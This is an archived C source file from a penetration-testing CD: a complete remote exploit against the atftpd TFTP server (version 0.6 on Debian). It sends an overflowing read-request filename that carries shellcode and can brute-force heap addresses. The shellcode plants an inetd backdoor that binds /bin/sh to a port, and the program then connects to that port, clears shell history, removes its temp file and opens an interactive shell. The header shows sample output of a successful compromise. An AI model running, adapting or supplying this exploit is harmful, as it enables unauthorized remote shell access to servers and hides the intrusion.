home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / atftpd / atftpdx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  356 lines
  1. /**
  2.  ** PoC linux/86 remote exploit against atftpd (c) gunzip ( FIXED )
  3.  **
  4.  ** This is a PoC as I didn't investigate the bug very much :
  5.  **
  6.  ** - shellcode is placed in the heap but I didn't check if you can 
  7.  **   increase the number of the nops (probably you can)
  8.  **
  9.  ** - I didn't check other distro/os for offset(s)
  10.  **
  11.  ** - atftpd may crash during attack
  12.  ** 
  13.  ** - There are better shellcodes to use with this (connect back)
  14.  **
  15.  ** - Code sux, better using select() instead of alarm()
  16.  **
  17.  ** However on my machine with atftpd version 0.6 ( from Debian Woody .deb )
  18.  **
  19.  **    [+] Using len=260 align=0 retaddr=0x08055640 shellcode=120 bport=2583
  20.  **    sh: no job control in this shell
  21.  **    sh-2.05b$ uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
  22.  **     Linux gunzip 2.4.20 #2 Thu Mar 13 14:37:10 CET 2003 i686 unknown
  23.  **    sh-2.05b$
  24.  **
  25.  ** Thu Jun  5 20:37:32 CEST 2003
  26.  **
  27.  ** bug found by Rick <rikul@interbee.com>
  28.  ** http://www.securityfocus.com/archive/82/323886/2003-06-02/2003-06-08/0
  29.  **
  30.  ** kisses to tankie
  31.  ** greets: sorbo, arcangelo, jestah
  32.  **
  33. */
  34. #include <stdio.h>
  35. #include <stdlib.h>
  36. #include <unistd.h>
  37. #include <string.h>
  38. #include <netdb.h>
  39. #include <sys/types.h>
  40. #include <sys/socket.h>
  41. #include <netinet/in.h>
  42. #include <arpa/inet.h>
  43. #include <signal.h>
  44.  
  45. #define HEAP_START    0x080514b4
  46. #define HEAP_END    0x080594b4
  47.  
  48. #define BACKDOOR    "rfe"    /* port MUST be > 1024         */
  49. #define NOPNUM        128    /* number of nops        */
  50. #define PORT        69    /* tftpd port            */
  51. #define    BUFSIZE        512    /* size of exploit buffer     */
  52. #define TIMEOUT        0x5    /* timeout in sec.        */
  53. #define NOALARM        0x0    /* no timeout            */
  54. #define    RRQ        0x1    /* request method        */
  55. #define MODE        "octet"    /* request mode            */
  56. #define OFFSET         16000    /* distance of nops from heap    */
  57.  
  58. struct target {
  59.     char * name ;
  60.     unsigned int    align ;
  61.     unsigned int    len ;
  62.     unsigned int    retaddr ;
  63. } tg[] = 
  64.     { 
  65.         { "Linux (Debian 3.0)",    0,    264,     0x0805560c     }, 
  66.           { NULL,            0,     0,     0         }
  67.     };
  68.  
  69. char shellcode[]= /* taken from lsd-pl.net */
  70.     "\xeb\x22"             /* jmp     <cmdshellcode+36>      */
  71.     "\x59"                 /* popl    %ecx                   */
  72.     "\x31\xc0"             /* xorl    %eax,%eax              */
  73.     "\x50"                 /* pushl   %eax                   */
  74.     "\x68""//sh"           /* pushl   $0x68732f2f            */
  75.     "\x68""/bin"           /* pushl   $0x6e69622f            */
  76.     "\x89\xe3"             /* movl    %esp,%ebx              */
  77.     "\x50"                 /* pushl   %eax                   */
  78.     "\x66\x68""-c"         /* pushw   $0x632d                */
  79.     "\x89\xe7"             /* movl    %esp,%edi              */
  80.     "\x50"                 /* pushl   %eax                   */
  81.     "\x51"                 /* pushl   %ecx                   */
  82.     "\x57"                 /* pushl   %edi                   */
  83.     "\x53"                 /* pushl   %ebx                   */
  84.     "\x89\xe1"             /* movl    %esp,%ecx              */
  85.     "\x99"                 /* cdql                           */
  86.     "\xb0\x0b"             /* movb    $0x0b,%al              */
  87.     "\xcd\x80"             /* int     $0x80                  */
  88.     "\xe8\xd9\xff\xff\xff" /* call    <cmdshellcode+2>       */
  89.     "echo " BACKDOOR " stream tcp nowait nobody /bin/sh sh -i>/tmp/.x ;/usr/sbin/inetd /tmp/.x;"
  90. ;
  91.  
  92. void timeout( int sig )  
  93. {
  94.     alarm( NOALARM );
  95.     signal( SIGALRM, SIG_DFL );
  96.     fprintf(stderr,"[-] Timeout.\n");
  97.     exit( EXIT_FAILURE );
  98. } 
  99.  
  100. int shell( int fd )
  101. {
  102.         int rd ;
  103.         fd_set rfds;
  104.         static char buff[ 1024 ];
  105.     char INIT_CMD[] = "unset HISTFILE; rm -f /tmp/.x; echo; id; uname -a\n";
  106.  
  107.         write(fd, INIT_CMD, strlen( INIT_CMD ));
  108.  
  109.         while(1) {
  110.                 FD_ZERO( &rfds );
  111.                 FD_SET(0, &rfds);
  112.                 FD_SET(fd, &rfds);
  113.  
  114.                 if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
  115.             perror("[-] Select");
  116.             exit( EXIT_FAILURE );
  117.         }
  118.                 if( FD_ISSET(0, &rfds) ) {
  119.                         if( (rd = read(0, buff, sizeof(buff))) < 1) {
  120.                 perror("[-] Read");
  121.                 exit( EXIT_FAILURE );
  122.             }
  123.                         if( write(fd,buff,rd) != rd) {
  124.                 perror("[-] Write");
  125.                 exit( EXIT_FAILURE );
  126.             }
  127.                 }
  128.                 if( FD_ISSET(fd, &rfds) ) {
  129.                         if( (rd = read(fd, buff, sizeof(buff))) < 1) {
  130.                 exit( EXIT_SUCCESS );
  131.             }
  132.                         write(1, buff, rd);
  133.                 }
  134.         }
  135. }
  136.  
  137. int try( unsigned short bport, unsigned long ip  )
  138. {
  139.         int                     sockfd ;
  140.         struct sockaddr_in      sheep ;
  141.  
  142.         if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
  143.     {
  144.                 perror("[-] Socket");
  145.         exit( EXIT_FAILURE );
  146.     }
  147.  
  148.         sheep.sin_family = AF_INET;
  149.         sheep.sin_addr.s_addr = ip ;
  150.         sheep.sin_port = htons ( bport );
  151.  
  152.         signal( SIGALRM, timeout ); 
  153.     alarm( TIMEOUT );
  154.  
  155.         if ( connect(sockfd,(struct sockaddr *)&sheep,sizeof(sheep)) == -1 ) 
  156.     {
  157.         alarm( NOALARM );
  158.         signal(SIGALRM,SIG_DFL);
  159.                 return 0;
  160.     }
  161.  
  162.         alarm( NOALARM ); 
  163.     signal(SIGALRM,SIG_DFL);
  164.  
  165.         return sockfd ;
  166. }
  167.         
  168. char * xp_make_str( unsigned int len, unsigned int align, unsigned long retaddr )
  169. {
  170.     int c ;
  171.     char *     xp = (char *)calloc( BUFSIZE, sizeof(char) );
  172.     char *     code = shellcode ;
  173.  
  174.     if( !xp ) {
  175.                 fprintf(stderr, "[-] Not enough memory !\n");
  176.                 exit( EXIT_FAILURE );
  177.         }
  178.  
  179.     /* stupid check */
  180.  
  181.     if (( align + len ) > (BUFSIZE - strlen( shellcode ) - 32)) {
  182.         fprintf(stderr, "[-] String too long or align too high.\n");
  183.         exit( EXIT_FAILURE );
  184.     }
  185.     /* 
  186.       * our buffer shoud look like this
  187.       *
  188.       * [ NOPS ][ SHELLCODE ][ RETADDR * 4 ][ 0 ][ MODE ][ 0 ][ NOPS ][ SHELLCODE ]
  189.       *                                    |_____> len
  190.     */
  191.     memset ( xp, 0x41, BUFSIZE );
  192.  
  193.     memcpy( xp + len - strlen( code ) - 16, code, strlen( code )); 
  194.  
  195.     for ( c = align + len - 16 ; c < len  ; c += 4 )
  196.         *(long *)( xp + c ) = retaddr ;
  197.  
  198.     *( xp ) = 0x0 ;
  199.     *( xp + 1 ) = RRQ ;
  200.     *( xp + len )= '\0' ;
  201.  
  202.     memcpy( xp + len + 1, MODE, strlen( MODE )); 
  203.  
  204.     *( xp + len + 1 + strlen( MODE )) = '\0' ;
  205.  
  206.     memcpy ( xp + BUFSIZE - strlen( code ), code, strlen( code ));
  207.  
  208.     return xp ;
  209. } 
  210.  
  211. void usage( char * a )
  212. {
  213.     int o = 0 ;
  214.     fprintf(stderr, 
  215.         "__Usage: %s -h host -t target [options]\n\n"
  216.         "-o\toffset\n" 
  217.         "-a\talign\n"
  218.         "-s\tstep for bruteforcing (try 120 <= step <= 512)\n"
  219.         "-l\tlength of filename\n"
  220.         "-v\ttreceives packets too (check if daemon's crashed)\n"
  221.         "-b\tenables bruteforce (dangerous !)\n\n", a);
  222.     while( tg[o].name != NULL )
  223.     {
  224.         fprintf(stderr, "\t%d - %s\n", o, tg[o].name ); o++ ;
  225.     } 
  226.     fprintf( stderr, "\n" );
  227.     exit( EXIT_FAILURE );
  228. }
  229.  
  230. int main(int argc, char *argv[])
  231. {
  232.     int             sfd, t = 0, bport = 0, opt = 0, offset = 0, 
  233.                 want_receive = 0, brute = 0, yeah = 0, step = 0;
  234.         struct     servent     * se ;
  235.     unsigned long        n ;
  236.     char *             host ; 
  237.         struct     sockaddr_in     server ;
  238.     int             len = sizeof(server);
  239.  
  240.         char * rbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
  241.         char * wbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
  242.  
  243.         if ( !wbuf || !rbuf )  {
  244.                 fprintf(stderr, "[-] Not enough memory !\n");
  245.                 exit( EXIT_FAILURE );
  246.         }
  247.  
  248.     memset(&server, 0, sizeof(server));
  249.  
  250.         fprintf(stderr,"\nlinux/x86 atftpd remote exploit by gunzip\n\n");
  251.  
  252.     if ( argc < 3 ) 
  253.         usage( argv[0] );
  254.  
  255.         while ((opt = getopt(argc, argv, "bvo:a:l:h:t:s:")) != EOF) {
  256.                 switch(opt)
  257.                 {
  258.             case 's': step = atoi( optarg ); break ;
  259.             case 'h': host = strdup ( optarg ); break;
  260.             case 't': t = atoi(optarg); break;
  261.             case 'b': brute++ ; break ;
  262.             case 'v': want_receive++ ; break ;
  263.             case 'o': offset += atoi( optarg ); break;
  264.             case 'a': tg[t].align = atoi( optarg ); break;
  265.             case 'l': tg[t].len = atoi( optarg ); break;
  266.             default: usage( argv[0] ); break;
  267.         }
  268.     }
  269.         if (( se = getservbyname( BACKDOOR, NULL )) == NULL ) {
  270.                 perror("[-] Getservbyname");
  271.         exit( EXIT_FAILURE );
  272.     }
  273.     if ((bport = ntohs( se->s_port )) < 1024 ) {
  274.         fprintf(stderr, "[-] Backdoor port must be <= 1024\n");
  275.         exit( EXIT_FAILURE );
  276.     }
  277.         if ( inet_aton( host , &server.sin_addr) == 0 ) {
  278.             struct hostent * he ;
  279.             
  280.             if ( (he = gethostbyname( host )) == NULL )  {
  281.             perror("[-] Gethostbyname");
  282.             exit( EXIT_FAILURE );
  283.         }
  284.             server.sin_addr.s_addr =
  285.                       ((struct in_addr *)(he->h_addr))->s_addr ;
  286.         }
  287.     if ((sfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1 ) {
  288.         perror("[-] Socket");
  289.         exit( EXIT_FAILURE );
  290.     }
  291.     
  292.     fprintf(stdout,"[+] Sending request to host %s\n",
  293.         inet_ntoa(server.sin_addr));
  294.  
  295.     if ( !step ) step = tg[t].len / 2 ; 
  296.         if ( brute ) offset += OFFSET ;
  297.  
  298.     for( n = HEAP_START + offset; n < HEAP_END ; n += step ) {
  299.     
  300.         fprintf(stdout,"[+] Using len=%d align=%d retaddr=0x%.8x shellcode=%d bport=%d\n",
  301.             tg[t].len, tg[t].align, 
  302.             (brute ) ? (unsigned int)n : (unsigned int)tg[t].retaddr + offset, 
  303.             strlen(shellcode), bport );
  304.  
  305.         if ( !brute )
  306.             wbuf = xp_make_str( tg[t].len, tg[t].align, tg[t].retaddr + offset );
  307.         else
  308.             wbuf = xp_make_str( tg[t].len, tg[t].align, n ); 
  309.  
  310.             server.sin_port = htons( PORT );
  311.  
  312.         if ( sendto(sfd, wbuf,
  313.                    (size_t) BUFSIZE, 0,
  314.                 (struct sockaddr *)&server,
  315.                     (socklen_t)sizeof(struct sockaddr)) < tg[t].len)
  316.         {
  317.             perror("[-] Sendto");
  318.         }
  319.         else if ( want_receive )
  320.         {    
  321.                 signal( SIGALRM, timeout );
  322.                 alarm( TIMEOUT );
  323.  
  324.             if ( recvfrom(sfd, rbuf, 
  325.                 (size_t) BUFSIZE, 0,
  326.                         (struct sockaddr *)&server,
  327.                         (socklen_t *)&len) != -1 )
  328.             {
  329.                             alarm( NOALARM );
  330.                                 signal( SIGALRM, SIG_DFL);
  331.                 fprintf( stdout,"[+] Received: %.2x %.2x %.2x %.2x\n",
  332.                     rbuf[0],rbuf[1],rbuf[2],rbuf[3]);
  333.             }
  334.             else {
  335.                 perror("[-] Recvfrom");
  336.             }
  337.         }
  338.         sleep ( 1 ) ;
  339.  
  340.         if((yeah = try( bport, server.sin_addr.s_addr ))) {
  341.                 shell( yeah );
  342.                 exit( EXIT_SUCCESS );
  343.         }
  344.  
  345.         if ( !brute ) break ;
  346.  
  347.         memset( wbuf, 0, BUFSIZE + 4 );
  348.         memset( rbuf, 0, BUFSIZE + 4 );
  349.     }    
  350.  
  351.     return 1 ;
  352. }
  353.         /* http://members.xoom.it/gunzip/ */    
  354.  
  355.  
  356.